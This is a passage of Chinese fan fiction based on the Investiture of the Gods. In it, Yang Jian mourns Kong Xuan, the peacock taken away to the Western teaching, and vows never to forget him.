哪吒的话戛然而止,因为他看见了杨戬的脸。那是一张他从未见过的脸,没有喜悦,没有释然,没有如释重负,只有一片空洞,像是心被挖走了一块,连眼底的光,都灭了。
杨戬望着那些被释放的周将,望着他们脸上的茫然与庆幸,忽然笑了,笑容苦涩得像是吞下了整株黄连。他有慈悲,有天地间最纯粹的本心,可就是这样的人,却被 “度” 去了西方。因为他的纯粹,他的根骨,他的慈悲,都是西方教最想要的。他们要的,一直都是这样有大道根基的人,度回去,便是最完美的 “菩萨”。
晚风渐凉,吹动杨戬的衣袂,他抬手,触到的只有一片冰冷。这风里,少了些什么,少了那日他站在营栅边,感应到的那道气息 —— 那是东方天地孕育的,纯粹的,古老的,没有被任何东西沾染过的,独属于东方的道。
那道气息,随孔宣去了西方,或许,再也不会回来了。
没有人会记得,曾有一个叫孔宣的人,他是天地间第一只孔雀,有最纯粹的本心,最傲立的骨气。或许,再过些日子,连金鸡岭上的那面 “孔” 字大旗,都会被换下,被新的旗帜取代,被岁月掩埋。
但杨戬会记得。他会记得金鸡岭前的那场枪斗,记得那道红色的身影,记得那股纯粹的气息,记得那只孔雀最后的回眸,记得那份身不由己的悲凉。
永远,都会记得。

